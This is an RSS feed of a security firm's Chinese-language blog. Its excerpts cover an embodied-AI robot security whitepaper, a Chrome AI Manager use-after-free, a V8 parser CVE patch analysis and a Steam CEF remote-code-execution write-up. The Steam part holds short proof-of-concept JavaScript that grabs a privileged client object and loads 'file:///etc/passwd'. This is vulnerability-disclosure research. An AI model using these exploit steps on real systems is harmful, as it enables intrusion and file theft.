<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>博客 on DARKNAVY</title>
    <link>https://www.darknavy.org/zh/blog/</link>
    <description>Recent content in 博客 on DARKNAVY</description>
    <image>
      <title>DARKNAVY</title>
      <url>https://www.darknavy.org/images/white_logo.png</url>
      <link>https://www.darknavy.org/images/white_logo.png</link>
    </image>
    <generator>Hugo -- 0.161.1</generator>
    <language>zh</language>
    <lastBuildDate>Mon, 20 Apr 2026 12:07:45 +0800</lastBuildDate>
    <atom:link href="https://www.darknavy.org/zh/blog/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>DARKNAVY 联合发布首篇具身智能机器人安全技术白皮书</title>
      <link>https://www.darknavy.org/zh/blog/embodied-ai-security-humanoid-robots/</link>
      <pubDate>Mon, 20 Apr 2026 12:07:45 +0800</pubDate>
      <guid>https://www.darknavy.org/zh/blog/embodied-ai-security-humanoid-robots/</guid>
      <description>&lt;img src=&#34;attachments/b9ae695a-d3b8-4a0f-b056-fd5af4bf5fc9.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; width: 100%;&#34;/&gt;
&lt;p&gt;随着具身智能进入现实世界，AI智能体获得了物理实体与自主执行能力。与此同时，数字领域的安全缺陷，正开始跨越虚实边界，转化为可作用于现实环境的物理风险。&lt;/p&gt;
&lt;p&gt;在 DARKNAVY 以攻击者视角开展的模拟测试中，多台市面在售的知名品牌具身智能机器人，从获取设备、识别漏洞到实现完全控制，整体攻击周期不足8小时。这一数据表明，当前具身智能能力快速演进的同时，安全体系建设仍明显滞后。&lt;/p&gt;
&lt;p&gt;基于长期攻防研究与实证分析，DARKNAVY 联合 CIIPA 关键信息基础设施安全保护联盟、数说安全正式发布 &lt;strong&gt;《具身智能安全技术白皮书：机器人篇》&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;作为具身智能系列安全白皮书的首篇，本白皮书围绕机器人场景，首次对具身智能系统的攻击面、风险传导链路与评估框架进行了系统性梳理。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、具身智能机器人的安全问题，当前处于什么阶段？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;相较于传统智能终端，具身智能系统的攻击面更广，风险传播路径也更为复杂。然而，根据白皮书对当前国内主流产品的调研结果，其安全能力尚未达到早期智能终端与物联网设备的基础防护水位。行业已经开始形成安全意识，但系统化能力建设仍处于起步阶段。&lt;/p&gt;
&lt;img src=&#34;attachments/d266711e-2c3a-4f7f-9e33-43996c253c96.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 75%;&#34;/&gt;
&lt;p&gt;&lt;strong&gt;二、从感知到执行，具身智能机器人的攻击面分布在哪里？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;具身智能系统具备感知-决策-执行的闭环特征。白皮书对其典型关键架构进行了系统性拆解，从而帮助还原真实攻击路径，分析威胁如何突破控制平面、干扰感知输入、影响决策过程，并最终作用于底层执行单元&lt;/p&gt;
&lt;img src=&#34;attachments/29fd339c-d4e0-4259-80a2-e8984af3eaa8.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 75%;&#34;/&gt;
&lt;p&gt;&lt;strong&gt;三、当数字风险可能演化为物理后果，应当如何建立有效的风险评估与治理框架？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;针对日益突出的物理现实风险，白皮书第三章首次提出具身智能机器人风险评估的基础参考框架，并正式发布 《RoboSec Top 10 ：具身智能机器人十大关键风险清单》，覆盖端侧内部权限、云端控制平面、感知与决策层欺骗、AI 资产完整性等关键环节，为行业建立风险评估框架与安全基线提供参考。&lt;/p&gt;
&lt;img src=&#34;attachments/63929643-fc22-40d4-b1e1-8818b7c889f5.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 75%;&#34;/&gt;
&lt;p&gt;&lt;br&gt;
当具身智能系统的能力从信息处理延伸至物理执行，安全治理的对象与边界也随之改变。数字世界中的单点缺陷，可能沿着跨层级、跨组件的链路被持续放大，最终演化为现实场景中的失控后果。也正因此，具身智能机器人的安全能力应前置到系统架构设计阶段，成为与感知、决策、执行同等重要的基础能力。&lt;/p&gt;
&lt;p&gt;本白皮书希望通过对关键风险、攻击路径与防护重点的系统梳理，为行业开展风险识别、能力建设与体系化防护提供参考。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.darknavy.org/whitepaper/Embodied-AI-Security-Humanoid-Robots-2604.pdf&#34;&gt;《具身智能安全技术白皮书：机器人篇》&lt;/a&gt;现已正式发布，点击链接即可下载。&lt;/p&gt;</description>
    </item>
    <item>
      <title>以子之矛陷子之盾 · 用AI对AI漏洞的利用探索</title>
      <link>https://www.darknavy.org/zh/blog/chrome_x_ai_1024/</link>
      <pubDate>Thu, 31 Oct 2024 17:32:23 +0800</pubDate>
      <guid>https://www.darknavy.org/zh/blog/chrome_x_ai_1024/</guid>
      <description>&lt;p&gt;2024年9月24日，OpenAI的CEO Sam Altman发表文章《The Intelligence Age》，大胆地宣告了AI时代的到来。&lt;/p&gt;
&lt;img src=&#34;assets/1.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 50%;&#34;/&gt;
&lt;p&gt;给予文章强有力支撑的是ChatGPT-o1的发布，这是一次里程碑式的事件，在深度学习的加成下，大模型如虎添翼，表现强劲。&lt;/p&gt;
&lt;p&gt;身处时代浪潮之中，DARKNAVY也积极拥抱AI，探索AI和安全的关系。AI能否在发现和利用漏洞时，再现人类的方法论？AI会不会带来新的安全问题？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;楚人有鬻盾与矛者，誉之曰：“吾盾之坚，物莫能陷之。”以誉其矛曰：“吾矛之利，于物无不陷也。”或曰：“以子之矛陷子之盾，何如？”其人弗能应也。夫不可陷之盾与无不陷之矛，不可同世而立。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;吾盾之坚物莫能陷&#34;&gt;吾盾之坚，物莫能陷&lt;/h2&gt;
&lt;p&gt;AI时代下，各大厂商纷纷推出了全新的AI产品、大模型，而对现存的产品，在迭代更新中，不少也加入了AI powered功能。AI已逐渐在无形之中成为了产品安全的一部分。新的代码也意味着新的攻击面，对于AI类的功能，更为特殊。&lt;/p&gt;
&lt;p&gt;新增的代码仍受到传统攻击手法的威胁，从审计的角度来看，AI代码除了功能的不同，本质上还是代码中的一个子模块，内存溢出、越界等内存破坏漏洞皆有可能存在。而除了传统的代码攻击面外，还存在着特定于AI类别的攻击面，例如模型越狱、对抗样本攻击等等。&lt;/p&gt;
&lt;p&gt;带着这样的思考，DARKNAVY的研究员将目光瞄准了Chrome的新增功能——AI Manager模块上。此&lt;a href=&#34;https://blog.google/products/chrome/google-chrome-generative-ai-features-january-2024/&#34;&gt;模块&lt;/a&gt;是Google于今年新推出的，主要用于帮助用户更快捷地写作。&lt;/p&gt;
&lt;img src=&#34;assets/2.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 45%;&#34;/&gt;
&lt;p&gt;此模块的架构和传统的Chrome模块大同小异，模块的主服务AIManagerKeyedService继承自基类KeyedService。关于这个类的生命周期，在类的声明处有&lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/refs/tags/130.0.6669.0:chrome/browser/ai/ai_manager_keyed_service.h;l=25&#34;&gt;注释&lt;/a&gt;说明：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;// The browser-side implementation of `blink::mojom::AIManager`. There should
// be one shared AIManagerKeyedService per BrowserContext.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;当renderer试图获取此接口时，会调用到此函数&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AIManagerKeyedService&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AddReceiver&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;mojo&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PendingReceiver&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;blink&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;mojom&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AIManager&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;receiver&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AIContextBoundObjectSet&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReceiverContext&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;receivers_&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;std&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;move&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;receiver&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其中context的类型定义为：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ReceiverContext&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;std&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;variant&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;content&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RenderFrameHost&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SupportsUserData&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;也就是说，AIManager服务中保存的context实际是来自frame的&lt;code&gt;RenderFrameHost&lt;/code&gt;对象，而此服务的生命周期和frame的生命周期并无关系。熟悉浏览器沙箱的朋友读至此，应该已经意识到了问题。若攻击者在子frame中先绑定AIManager接口，将此接口传递出去，再销毁子frame，那么此时对应接口的&lt;code&gt;RenderFrameHost&lt;/code&gt;已经被free，外部使用接口的功能将触发&lt;code&gt;RenderFrameHost&lt;/code&gt;的UAF。&lt;/p&gt;
&lt;p&gt;值得一提的是，此漏洞还是难得的不被MiraclePtr所保护的UAF漏洞:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;MiraclePtr Status: NOT PROTECTED
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;DARKNAVY发现此问题后，意识到漏洞危害极高，迅速报告并协助了Google进行修复。Google于10月15日发布新版本修复了此漏洞。&lt;/p&gt;
&lt;img src=&#34;assets/3.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 50%;&#34;/&gt;
&lt;h2 id=&#34;吾矛之利物无不陷&#34;&gt;吾矛之利，物无不陷&lt;/h2&gt;
&lt;p&gt;发现漏洞后，思路自然地转向了研究此漏洞的可利用性。正如前文所述，AI能否在此研究过程中给予人类有力的援助？AI之于安全研究员，是一把趁手的武器，还是一堆废铜烂铁？&lt;/p&gt;
&lt;p&gt;在今年GeekCon 2024&lt;a href=&#34;https://geekcon.top/&#34;&gt;新加坡站&lt;/a&gt;的舞台上，有多个有关此话题的安全研究亮相。&lt;/p&gt;
&lt;p&gt;来自清华的张超教授，展示了他们团队将大模型应用于二进制分析领域的成果，成功地应用于二进制代码相似性检测、patch补丁检测等场景；&lt;/p&gt;</description>
    </item>
    <item>
      <title>CVE-2024-5274: A Minor Flaw in V8 Parser Leading to Catastrophes</title>
      <link>https://www.darknavy.org/zh/blog/cve_2024_5274_a_minor_flaw_in_v8_parser_leading_to_catastrophes/</link>
      <pubDate>Fri, 30 Aug 2024 10:09:29 +0800</pubDate>
      <guid>https://www.darknavy.org/zh/blog/cve_2024_5274_a_minor_flaw_in_v8_parser_leading_to_catastrophes/</guid>
      <description>&lt;p&gt;在今年5月，我们注意到Chrome在&lt;a href=&#34;https://chromereleases.googleblog.com/2024/05/stable-channel-update-for-desktop_23.html&#34;&gt;一次更新&lt;/a&gt;中修复了一个被在野利用的V8漏洞，我们迅速定位了这个漏洞的修复，发现他是近些年来罕见的Parser模块的漏洞，这引起了我们很大的兴趣，于是有了以下的研究。&lt;/p&gt;
&lt;h2 id=&#34;从patch到poc&#34;&gt;从patch到PoC&lt;/h2&gt;
&lt;p&gt;首先我们看一下此漏洞的&lt;a href=&#34;https://chromium-review.googlesource.com/c/v8/v8/&amp;#43;/5553030&#34;&gt;patch&lt;/a&gt;：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;diff --git a/src/ast/scopes.cc b/src/ast/scopes.cc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;index 660fdd2e9ad..de4df35c0ad 100644
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;--- a/src/ast/scopes.cc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+++ b/src/ast/scopes.cc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gu&#34;&gt;@@ -2447,7 +2447,7 @@ bool Scope::MustAllocate(Variable* var) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     var-&amp;gt;set_is_used();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     if (inner_scope_calls_eval_ &amp;amp;&amp;amp; !var-&amp;gt;is_this()) var-&amp;gt;SetMaybeAssigned();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;-  DCHECK(!var-&amp;gt;has_forced_context_allocation() || var-&amp;gt;is_used());
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+  CHECK(!var-&amp;gt;has_forced_context_allocation() || var-&amp;gt;is_used());
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   // Global variables do not need to be allocated.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   return !var-&amp;gt;IsGlobalObjectProperty() &amp;amp;&amp;amp; var-&amp;gt;is_used();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;index 40914d39a4f..65c338f343f 100644
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;--- a/src/parsing/parser-base.h
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+++ b/src/parsing/parser-base.h
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gu&#34;&gt;@@ -2661,6 +2661,7 @@ typename ParserBase&amp;lt;Impl&amp;gt;::BlockT ParserBase&amp;lt;Impl&amp;gt;::ParseClassStaticBlock(
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   FunctionState initializer_state(&amp;amp;function_state_, &amp;amp;scope_, initializer_scope);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+  FunctionParsingScope body_parsing_scope(impl());
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   AcceptINScope accept_in(this, true);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   // Each static block has its own var and lexical scope, so make a new var
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;patch十分简单，实际真正有效的修复代码仅有一行，在解析class的&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Static_initialization_blocks&#34;&gt;static initialization block&lt;/a&gt;时新增了一个类型为&lt;code&gt;FunctionParsingScope&lt;/code&gt;的变量，我们再看一下这个新增的变量做了什么：&lt;/p&gt;</description>
    </item>
    <item>
      <title>Steam漏洞利用：CEF框架应用下的常规与非常规利用手段</title>
      <link>https://www.darknavy.org/zh/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/</link>
      <pubDate>Thu, 27 Jun 2024 11:39:37 +0800</pubDate>
      <guid>https://www.darknavy.org/zh/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/</guid>
      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;
&lt;p&gt;Chromium Embedded Framework(CEF)是一个开源框架，开发者可以将Chromium引擎嵌入至他们的应用程序中。尽管CEF被广泛应用于诸如微信和Epic Games Launcher等流行软件中，但对其安全性的研究却甚少。在本文中，我们将以Steam客户端浏览器（一款基于CEF的应用程序）为例，介绍我们发现的漏洞及其利用方式，展示我们如何构建了三个远程代码执行（RCE）链。&lt;/p&gt;
&lt;h2 id=&#34;rce1steamwebhelper中多个问题导致rce&#34;&gt;RCE#1：&lt;code&gt;steamwebhelper&lt;/code&gt;中多个问题导致RCE&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;steamwebhelper&lt;/code&gt;是Steam客户端内置的浏览器，用于渲染商店、社区、好友等页面。其基于CEF开发，并在CEF的基础上添加了一些功能。我们在这些额外的功能中找到了一系列逻辑漏洞以及特性导致的问题，最终完成了RCE。&lt;/p&gt;
&lt;h3 id=&#34;在外部页面中获取steamclient对象&#34;&gt;在外部页面中获取&lt;code&gt;SteamClient&lt;/code&gt;对象&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;steamwebhelper&lt;/code&gt;在加载一些特定的页面，例如&lt;code&gt;steampowered.com&lt;/code&gt; 、 &lt;code&gt;steamloopback.host&lt;/code&gt;等页面时，会在JavaScript运行环境中加入一个&lt;strong&gt;特权对象&lt;/strong&gt;&lt;code&gt;SteamClient&lt;/code&gt;。对该过程进行逆向后，我们发现，对有域名的url，&lt;code&gt;steamwebhelper&lt;/code&gt;会调用&lt;code&gt;BIsTrustedDomain&lt;/code&gt;检查其域名是否在白名单中，而对于没有域名的url，会检查其是否为&lt;code&gt;data&lt;/code&gt;或&lt;code&gt;about&lt;/code&gt;协议。&lt;/p&gt;
&lt;img src=&#34;assets/1.jpg&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 50%;&#34;/&gt;
&lt;p&gt;在外部页面中打开白名单中的域名会被同源策略限制，然而打开&lt;code&gt;about:blank&lt;/code&gt;等页面并不会，因此我们可以在自己可控的页面中打开&amp;quot;about:blank&amp;quot;，获取并使用其&lt;code&gt;SteamClient&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;PoC:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;ab_page&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;about:blank&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;s_client&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ab_page&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;SteamClient&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;alert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;s_client&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;使用browserview加载file协议&#34;&gt;使用&lt;code&gt;BrowserView&lt;/code&gt;加载file协议&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SteamClient&lt;/code&gt;是steam中内部页面所使用的特权对象，它有很多特权功能，如操作当前的Browser对象、操作窗口位置、下载任意文件等。&lt;/p&gt;
&lt;img src=&#34;assets/2.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 100%;&#34;/&gt;
&lt;p&gt;通过&lt;code&gt;SteamClient.BrowserView&lt;/code&gt;，我们可以创建并管理&lt;code&gt;BrowserView&lt;/code&gt;。经过测试发现，&lt;code&gt;BrowserView&lt;/code&gt;是一个嵌入在原始网页中的子页面，类似于普通web页面中的一个iframe，但与此对象的交互都是由Steam自身实现。&lt;/p&gt;
&lt;img src=&#34;assets/3.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 100%;&#34;/&gt;
&lt;p&gt;在测试&lt;code&gt;BrowserView&lt;/code&gt;的功能时，我们发现&lt;code&gt;BrowserView.LoadURL&lt;/code&gt;调用不会受到任何安全策略的限制，可以加载任意协议任意域名的url，包括&lt;code&gt;chrome://&lt;/code&gt;、&lt;code&gt;file://&lt;/code&gt;等权限较高的协议。&lt;/p&gt;
&lt;p&gt;PoC:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;b_view&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;s_client&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;BrowserView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Create&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;b_view&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;LoadURL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;file:///etc/passwd&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;b_view&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;SetBounds&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
